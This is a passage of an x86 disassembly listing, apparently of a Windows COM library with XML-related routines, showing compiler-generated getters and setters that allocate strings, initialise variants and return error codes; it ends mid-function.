		mov	[ebp-4], edi
		mov	ebx, [ebp+8]
		mov	esi, [ebx+1Ch]
		mov	[ebp-20h], esi
		mov	[ebp-24h], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B8h]
		test	al, al
		jz	short loc_69B42919
		push	ebx
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-38h]
		call	sub_69B40DFB
		mov	al, [ebp-34h]
		mov	[ebp-39h], al
		test	al, al
		jnz	short loc_69B428FD
		mov	esi, 80004005h
		mov	[ebp-40h], esi
		lea	ecx, [ebp-38h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, esi
		jmp	short loc_69B42961
; ---------------------------------------------------------------------------


loc_69B428FD:				; CODE XREF: sub_69B42884+56j
		mov	ecx, esi
		call	sub_69B48CEA
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B4CEA8
		lea	ecx, [ebp-38h]
		call	sub_69B4637D
		jmp	short loc_69B42952
; ---------------------------------------------------------------------------


loc_69B42919:				; CODE XREF: sub_69B42884+40j
		mov	eax, [ebx]
		sub	esp, 10h
		lea	esi, [ebp+0Ch]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	ebx
		call	dword ptr [eax+24h]
		mov	edi, eax
		mov	[ebp-44h], edi
		jmp	short loc_69B42952
; ---------------------------------------------------------------------------


loc_69B42932:				; DATA XREF: .text:69B42974o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4293B:				; DATA XREF: .text:69B42978o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B42952:				; CODE XREF: sub_69B42884+93j
					; sub_69B42884+ACj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B42961:				; CODE XREF: sub_69B42884+20j
					; sub_69B42884+77j
		call	sub_69B1853C
		retn	14h
sub_69B42884	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B42970	dd 0FFFFFFFFh			dd offset loc_69B42932
		dd offset loc_69B4293B

; =============== S U B	R O U T	I N E =======================================



sub_69B4297C	proc near		; CODE XREF: sub_69B59550+Cp
					; DATA XREF: .text:69B12578o
		push	2Ch
		push	offset dword_69B42A48
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B4299F
		mov	eax, 80004005h
		jmp	loc_69B42A3C
; ---------------------------------------------------------------------------


loc_69B4299F:				; CODE XREF: sub_69B4297C+17j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		test	esi, esi
		jnz	short loc_69B429BC
		mov	ebx, 80070057h
		jmp	short loc_69B42A29
; ---------------------------------------------------------------------------


loc_69B429BC:				; CODE XREF: sub_69B4297C+37j
		push	esi		; pvarg
		call	VariantInit
		and	dword ptr [ebp-4], 0
		mov	ecx, [edi+1Ch]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+0D0h]
		mov	[ebp-34h], eax
		test	eax, eax
		jz	short loc_69B429F6
		mov	word ptr [esi],	8
		mov	ecx, [eax+0Ch]
		mov	[ebp-38h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[esi+8], eax
		jmp	short loc_69B42A25
; ---------------------------------------------------------------------------


loc_69B429F6:				; CODE XREF: sub_69B4297C+5Ej
		xor	ebx, ebx
		inc	ebx
		mov	[esi], bx
		and	dword ptr [esi+8], 0
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B42A25
; ---------------------------------------------------------------------------


loc_69B42A05:				; DATA XREF: .text:69B42A4Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42A0E:				; DATA XREF: .text:69B42A50o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B42A25:				; CODE XREF: sub_69B4297C+78j
					; sub_69B4297C+87j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42A29:				; CODE XREF: sub_69B4297C+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B42A3C:				; CODE XREF: sub_69B4297C+1Ej
		call	sub_69B1853C
		retn	8
sub_69B4297C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B42A48	dd 0FFFFFFFFh			dd offset loc_69B42A05
		dd offset loc_69B42A0E

; =============== S U B	R O U T	I N E =======================================



sub_69B42A54	proc near		; CODE XREF: sub_69B59564+Cp
					; DATA XREF: .text:69B1257Co
		push	2Ch
		push	offset dword_69B42B40
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B42A92
		mov	esi, [ebp+8]
		push	esi
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B42A9C
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B42A92:				; CODE XREF: sub_69B42A54+1Bj
		mov	eax, 80004005h
		jmp	loc_69B42B35
; ---------------------------------------------------------------------------


loc_69B42A9C:				; CODE XREF: sub_69B42A54+2Dj
		xor	edi, edi
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B42AAA
		mov	edi, 80070057h
		jmp	short loc_69B42B22
; ---------------------------------------------------------------------------


loc_69B42AAA:				; CODE XREF: sub_69B42A54+4Dj
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-34h], eax
		mov	esi, [esi+1Ch]
		mov	[ebp-38h], esi
		mov	[ebp-3Ch], esi
		mov	ecx, esi
		call	sub_69B48CEA
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		jz	short loc_69B42AF2
		cmp	eax, 0Fh
		jz	short loc_69B42AF2
		push	ebx
		mov	ecx, esi
		call	sub_69B481AF
		push	eax
		push	0C00CE208h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B42AF2:				; CODE XREF: sub_69B42A54+7Cj
					; sub_69B42A54+81j
		push	dword ptr [ebp-34h]
		mov	ecx, esi
		call	sub_69B14EAC
		jmp	short loc_69B42B1E
; ---------------------------------------------------------------------------


loc_69B42AFE:				; DATA XREF: .text:69B42B44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42B07:				; DATA XREF: .text:69B42B48o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B42B1E:				; CODE XREF: sub_69B42A54+A8j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42B22:				; CODE XREF: sub_69B42A54+54j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B42B35:				; CODE XREF: sub_69B42A54+43j
		call	sub_69B1853C
		retn	8
sub_69B42A54	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B42B40	dd 0FFFFFFFFh			dd offset loc_69B42AFE
		dd offset loc_69B42B07

; =============== S U B	R O U T	I N E =======================================



sub_69B42B4C	proc near		; CODE XREF: sub_69B5958C+10p
					; DATA XREF: .text:69B12584o
		push	44h
		push	offset dword_69B42C60
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B42B71
		mov	eax, 80004005h
		jmp	loc_69B42C53
; ---------------------------------------------------------------------------


loc_69B42B71:				; CODE XREF: sub_69B42B4C+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	[ebp-30h], edi
		mov	ecx, [esi+1Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		cmp	[ebp+0Ch], edi
		jz	short loc_69B42B98
		mov	ebx, [ebp+10h]
		cmp	ebx, edi
		jnz	short loc_69B42BA2


loc_69B42B98:				; CODE XREF: sub_69B42B4C+43j
		mov	esi, 80070057h
		jmp	loc_69B42C40
; ---------------------------------------------------------------------------


loc_69B42BA2:				; CODE XREF: sub_69B42B4C+4Aj
		push	edi
		lea	ecx, [ebp-3Ch]
		call	sub_69B11D3B
		mov	[ebp-4], edi
		call	sub_69B88D77
		mov	edi, eax
		mov	[ebp-40h], edi
		push	edi
		call	sub_69B887E9
		mov	[ebp-44h], eax
		lea	esi, [eax+8]
		mov	[ebp-48h], esi
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	[ebp-30h], esi
		push	1
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_69B6FBE1
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		mov	[ebp-4Ch], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-50h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[ebx], eax
		xor	esi, esi
		mov	[ebp-54h], esi
		jmp	short loc_69B42C27
; ---------------------------------------------------------------------------


loc_69B42C01:				; DATA XREF: .text:69B42C64o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42C0A:				; DATA XREF: .text:69B42C68o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+10h]
		and	dword ptr [eax], 0
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B42C27:				; CODE XREF: sub_69B42B4C+B3j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-3Ch]
		call	sub_69B1976C
		mov	eax, [ebp-30h]
		test	eax, eax
		jz	short loc_69B42C40
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B42C40:				; CODE XREF: sub_69B42B4C+51j
					; sub_69B42B4C+ECj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B42C53:				; CODE XREF: sub_69B42B4C+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B42B4C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B42C60	dd 0FFFFFFFFh			dd offset loc_69B42C01
		dd offset loc_69B42C0A

; =============== S U B	R O U T	I N E =======================================



sub_69B42C6C	proc near		; CODE XREF: sub_69B595A4+10p
					; DATA XREF: .text:69B12588o
		push	30h
		push	offset dword_69B42D40
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B42C91
		mov	eax, 80004005h
		jmp	loc_69B42D37
; ---------------------------------------------------------------------------


loc_69B42C91:				; CODE XREF: sub_69B42C6C+19j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	[ebp-30h], esi
		cmp	[ebp+0Ch], esi
		jz	short loc_69B42CAD
		mov	ebx, [ebp+10h]
		cmp	ebx, esi
		jnz	short loc_69B42CB4


loc_69B42CAD:				; CODE XREF: sub_69B42C6C+38j
		mov	esi, 80070057h
		jmp	short loc_69B42D24
; ---------------------------------------------------------------------------


loc_69B42CB4:				; CODE XREF: sub_69B42C6C+3Fj
		mov	[ebp-4], esi
		push	esi
		call	sub_69B5562F
		mov	esi, eax
		mov	[ebp-30h], esi
		mov	ecx, edi
		call	sub_69B40F7C
		mov	[ebp-34h], eax
		mov	eax, [eax+0E4h]
		mov	[ebp-38h], eax
		mov	edi, [edi+1Ch]
		mov	[ebp-3Ch], edi
		push	eax		; int
		push	edi		; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	ecx, esi
		call	sub_69B5545F
		mov	[ebx], esi
		xor	esi, esi
		mov	[ebp-40h], esi
		jmp	short loc_69B42D20
; ---------------------------------------------------------------------------


loc_69B42CF0:				; DATA XREF: .text:69B42D44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42CF9:				; DATA XREF: .text:69B42D48o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-30h]
		test	eax, eax
		jz	short loc_69B42D0C
		lea	ecx, [eax+0Ch]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]


loc_69B42D0C:				; CODE XREF: sub_69B42C6C+95j
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B42D20:				; CODE XREF: sub_69B42C6C+82j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42D24:				; CODE XREF: sub_69B42C6C+46j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B42D37:				; CODE XREF: sub_69B42C6C+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B42C6C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B42D40	dd 0FFFFFFFFh			dd offset loc_69B42CF0
		dd offset loc_69B42CF9

; =============== S U B	R O U T	I N E =======================================



sub_69B42D4C	proc near		; CODE XREF: sub_69B595BC+10p
					; DATA XREF: .text:69B1258Co
		push	28h
		push	offset dword_69B42E08
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B42D71
		mov	eax, 80004005h
		jmp	loc_69B42DFD
; ---------------------------------------------------------------------------


loc_69B42D71:				; CODE XREF: sub_69B42D4C+19j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B42D8A
		mov	esi, [ebp+10h]
		cmp	esi, ebx
		jnz	short loc_69B42D93


loc_69B42D8A:				; CODE XREF: sub_69B42D4C+35j
		mov	dword ptr [ebp-30h], 80070057h
		jmp	short loc_69B42DE9
; ---------------------------------------------------------------------------


loc_69B42D93:				; CODE XREF: sub_69B42D4C+3Cj
		mov	[esi], ebx
		mov	[ebp-4], ebx
		mov	ecx, [edi+1Ch]
		mov	[ebp-34h], ecx
		push	dword ptr [ebp+0Ch]
		call	sub_69B49F3F
		mov	ecx, eax
		mov	[ebp-38h], ecx
		cmp	ecx, ebx
		jz	short loc_69B42DBB
		call	sub_69B48B01
		mov	[esi], eax
		mov	[ebp-30h], ebx
		jmp	short loc_69B42DE5
; ---------------------------------------------------------------------------


loc_69B42DBB:				; CODE XREF: sub_69B42D4C+61j
		mov	dword ptr [ebp-30h], 1
		jmp	short loc_69B42DE5
; ---------------------------------------------------------------------------


loc_69B42DC4:				; DATA XREF: .text:69B42E0Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42DCD:				; DATA XREF: .text:69B42E10o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B42DE5:				; CODE XREF: sub_69B42D4C+6Dj
					; sub_69B42D4C+76j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42DE9:				; CODE XREF: sub_69B42D4C+45j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B42DFD:				; CODE XREF: sub_69B42D4C+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B42D4C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B42E08	dd 0FFFFFFFFh			dd offset loc_69B42DC4
		dd offset loc_69B42DCD

; =============== S U B	R O U T	I N E =======================================



sub_69B42E14	proc near		; CODE XREF: sub_69B59578+Cp
					; DATA XREF: .text:69B12580o
		push	2Ch
		push	offset dword_69B42EB8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B42E36
		mov	eax, 80004005h
		jmp	short loc_69B42EB0
; ---------------------------------------------------------------------------


loc_69B42E36:				; CODE XREF: sub_69B42E14+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B42E51
		mov	ebx, 80070057h
		jmp	short loc_69B42E9D
; ---------------------------------------------------------------------------


loc_69B42E51:				; CODE XREF: sub_69B42E14+34j
		mov	[ebp-4], ebx
		mov	ecx, [esi+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		call	sub_69B4A8CB
		mov	[ebp-38h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-3Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B42E99
; ---------------------------------------------------------------------------


loc_69B42E79:				; DATA XREF: .text:69B42EBCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42E82:				; DATA XREF: .text:69B42EC0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B42E99:				; CODE XREF: sub_69B42E14+63j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42E9D:				; CODE XREF: sub_69B42E14+3Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B42EB0:				; CODE XREF: sub_69B42E14+20j
		call	sub_69B1853C
		retn	8
sub_69B42E14	endp

; ---------------------------------------------------------------------------
dword_69B42EB8	dd 0FFFFFFFFh			dd offset loc_69B42E79
		dd offset loc_69B42E82

; =============== S U B	R O U T	I N E =======================================



sub_69B42EC4	proc near		; CODE XREF: sub_69B595D4+Cp
					; DATA XREF: .text:69B12590o
		push	20h
		push	offset dword_69B42F58
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B42EE6
		mov	eax, 80004005h
		jmp	short loc_69B42F4F
; ---------------------------------------------------------------------------


loc_69B42EE6:				; CODE XREF: sub_69B42EC4+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	ecx, [ebp+0Ch]
		cmp	ecx, edi
		jnz	short loc_69B42F01
		mov	edi, 80070057h
		jmp	short loc_69B42F3C
; ---------------------------------------------------------------------------


loc_69B42F01:				; CODE XREF: sub_69B42EC4+34j
		mov	[ebp-4], edi
		mov	eax, [esi+1Ch]
		mov	[ebp-30h], eax
		mov	al, [eax+0Ah]
		and	al, 1
		neg	al
		sbb	eax, eax
		mov	[ecx], ax
		jmp	short loc_69B42F38
; ---------------------------------------------------------------------------


loc_69B42F18:				; DATA XREF: .text:69B42F5Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42F21:				; DATA XREF: .text:69B42F60o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B42F38:				; CODE XREF: sub_69B42EC4+52j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42F3C:				; CODE XREF: sub_69B42EC4+3Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B42F4F:				; CODE XREF: sub_69B42EC4+20j
		call	sub_69B1853C
		retn	8
sub_69B42EC4	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B42F58	dd 0FFFFFFFFh			dd offset loc_69B42F18
		dd offset loc_69B42F21

; =============== S U B	R O U T	I N E =======================================



sub_69B42F64	proc near		; CODE XREF: sub_69B594B7+Cp
					; DATA XREF: .text:69B1255Co
		push	28h
		push	offset dword_69B43018
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B42F87
		mov	eax, 80004005h
		jmp	loc_69B4300A
; ---------------------------------------------------------------------------


loc_69B42F87:				; CODE XREF: sub_69B42F64+17j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jnz	short loc_69B42FA2
		mov	esi, 80070057h
		jmp	short loc_69B42FF7
; ---------------------------------------------------------------------------


loc_69B42FA2:				; CODE XREF: sub_69B42F64+35j
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+1Ch]
		mov	[ebp-30h], eax
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		mov	eax, dword_69B984E8[eax*4]
		mov	[ebp-34h], eax
		push	off_69B98DF0[eax*4] ; OLECHAR *
		call	SysAllocString
		mov	[edi], eax
		xor	esi, esi
		mov	[ebp-38h], esi
		jmp	short loc_69B42FF3
; ---------------------------------------------------------------------------


loc_69B42FD3:				; DATA XREF: .text:69B4301Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B42FDC:				; DATA XREF: .text:69B43020o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B42FF3:				; CODE XREF: sub_69B42F64+6Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B42FF7:				; CODE XREF: sub_69B42F64+3Cj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B4300A:				; CODE XREF: sub_69B42F64+1Ej
		call	sub_69B1853C
		retn	8
sub_69B42F64	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B43018	dd 0FFFFFFFFh			dd offset loc_69B42FD3
		dd offset loc_69B42FDC

; =============== S U B	R O U T	I N E =======================================



sub_69B43024	proc near		; CODE XREF: sub_69B52218+Fp
					; sub_69B59649+10p
		push	2Ch
		push	offset dword_69B43110
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B43049
		mov	eax, 80004005h
		jmp	loc_69B430FD
; ---------------------------------------------------------------------------


loc_69B43049:				; CODE XREF: sub_69B43024+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	[ebp-30h], ebx
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B43065
		mov	edi, [ebp+10h]
		cmp	edi, ebx
		jnz	short loc_69B4306C


loc_69B43065:				; CODE XREF: sub_69B43024+38j
		mov	esi, 80070057h
		jmp	short loc_69B430E1
; ---------------------------------------------------------------------------


loc_69B4306C:				; CODE XREF: sub_69B43024+3Fj
		mov	[ebp-4], ebx
		mov	[ebp-34h], ebx
		push	ebx
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		push	eax
		push	offset a_	; ".//"
		call	sub_69B1A587
		push	eax
		call	sub_69B2F2CA
		add	esp, 0Ch
		mov	[ebp-38h], eax
		push	eax
		lea	ecx, [ebp-30h]
		call	sub_69B2D3FC
		mov	eax, [esi]
		lea	ecx, [ebp-34h]
		push	ecx
		push	dword ptr [ebp-30h]
		push	esi
		call	dword ptr [eax+90h]
		mov	esi, eax
		mov	[ebp-3Ch], esi
		mov	eax, [ebp-34h]
		mov	[edi], eax
		jmp	short loc_69B430DD
; ---------------------------------------------------------------------------


loc_69B430B7:				; DATA XREF: .text:69B43114o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B430C0:				; DATA XREF: .text:69B43118o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+10h]
		and	dword ptr [eax], 0
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B430DD:				; CODE XREF: sub_69B43024+91j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B430E1:				; CODE XREF: sub_69B43024+46j
		push	dword ptr [ebp-30h] ; BSTR
		call	SysFreeString
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B430FD:				; CODE XREF: sub_69B43024+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B43024	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR a_
a_:					; DATA XREF: sub_69B43024+58o
		unicode	0, <.//>,0
dword_69B43110	dd 0FFFFFFFFh			dd offset loc_69B430B7
		dd offset loc_69B430C0

; =============== S U B	R O U T	I N E =======================================



sub_69B4311C	proc near		; CODE XREF: sub_69B59624+1Bp
					; DATA XREF: .text:69B125A0o
		push	34h
		push	offset dword_69B43308
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B43141
		mov	eax, 80004005h
		jmp	loc_69B432EA
; ---------------------------------------------------------------------------


loc_69B43141:				; CODE XREF: sub_69B4311C+19j
		push	dword ptr [ebp+8]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	[ebp-30h], ebx
		mov	[ebp-34h], ebx
		mov	[ebp-38h], ebx
		mov	[ebp-3Ch], ebx
		mov	[ebp-40h], ebx
		cmp	[ebp+0Ch], ebx
		jz	loc_69B4329E
		push	ebx
		lea	eax, [ebp+10h]
		push	eax
		call	sub_69B88597
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_69B4329E
		mov	eax, [esi]
		lea	ecx, [ebp-3Ch]
		push	ecx
		push	offset dword_69B2B060
		push	esi
		call	dword ptr [eax]
		cmp	eax, ebx
		jl	short loc_69B431B2
		mov	eax, [ebp-3Ch]
		cmp	eax, ebx
		jz	short loc_69B431B2
		mov	ecx, [eax]
		lea	edx, [ebp-40h]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_69B432A3
		cmp	[ebp-40h], ebx
		jz	loc_69B432A3
		mov	esi, [ebp-40h]


loc_69B431B2:				; CODE XREF: sub_69B4311C+6Dj
					; sub_69B4311C+74j
		push	offset dword_69B432F4
		push	esi
		call	sub_69B2F4B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_69B431E6
		push	34h
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B431DE
		push	edi
		mov	ecx, eax
		call	sub_69B56509
		mov	[ebp-30h], eax
		jmp	loc_69B4326A
; ---------------------------------------------------------------------------


loc_69B431DE:				; CODE XREF: sub_69B4311C+B0j
		mov	[ebp-30h], ebx
		jmp	loc_69B4326A
; ---------------------------------------------------------------------------


loc_69B431E6:				; CODE XREF: sub_69B4311C+A5j
		mov	eax, [esi]
		lea	ecx, [ebp-30h]
		push	ecx
		push	offset dword_69B2AFF0
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jge	short loc_69B43215
		mov	eax, [esi]
		lea	ecx, [ebp-34h]
		push	ecx
		push	offset dword_69B2B000
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B43232
		push	dword ptr [ebp-34h]
		call	sub_69B38858
		mov	[ebp-30h], eax


loc_69B43215:				; CODE XREF: sub_69B4311C+DAj
					; sub_69B4311C+151j
		mov	[ebp-4], ebx
		push	ebx
		push	dword ptr [ebp-30h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_69B6FBE1
		xor	esi, esi
		mov	[ebp-44h], esi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B432A3
; ---------------------------------------------------------------------------


loc_69B43232:				; CODE XREF: sub_69B4311C+ECj
		mov	eax, [esi]
		lea	ecx, [ebp-38h]
		push	ecx
		push	offset dword_69B28DD8
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B4329E
		push	34h
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B4325E
		push	dword ptr [ebp-38h]
		mov	ecx, eax
		call	sub_69B5656B
		mov	[ebp-30h], eax
		jmp	short loc_69B43261
; ---------------------------------------------------------------------------


loc_69B4325E:				; CODE XREF: sub_69B4311C+131j
		mov	[ebp-30h], ebx


loc_69B43261:				; CODE XREF: sub_69B4311C+140j
		mov	eax, [ebp-38h]
		mov	ecx, [eax]
		push	eax
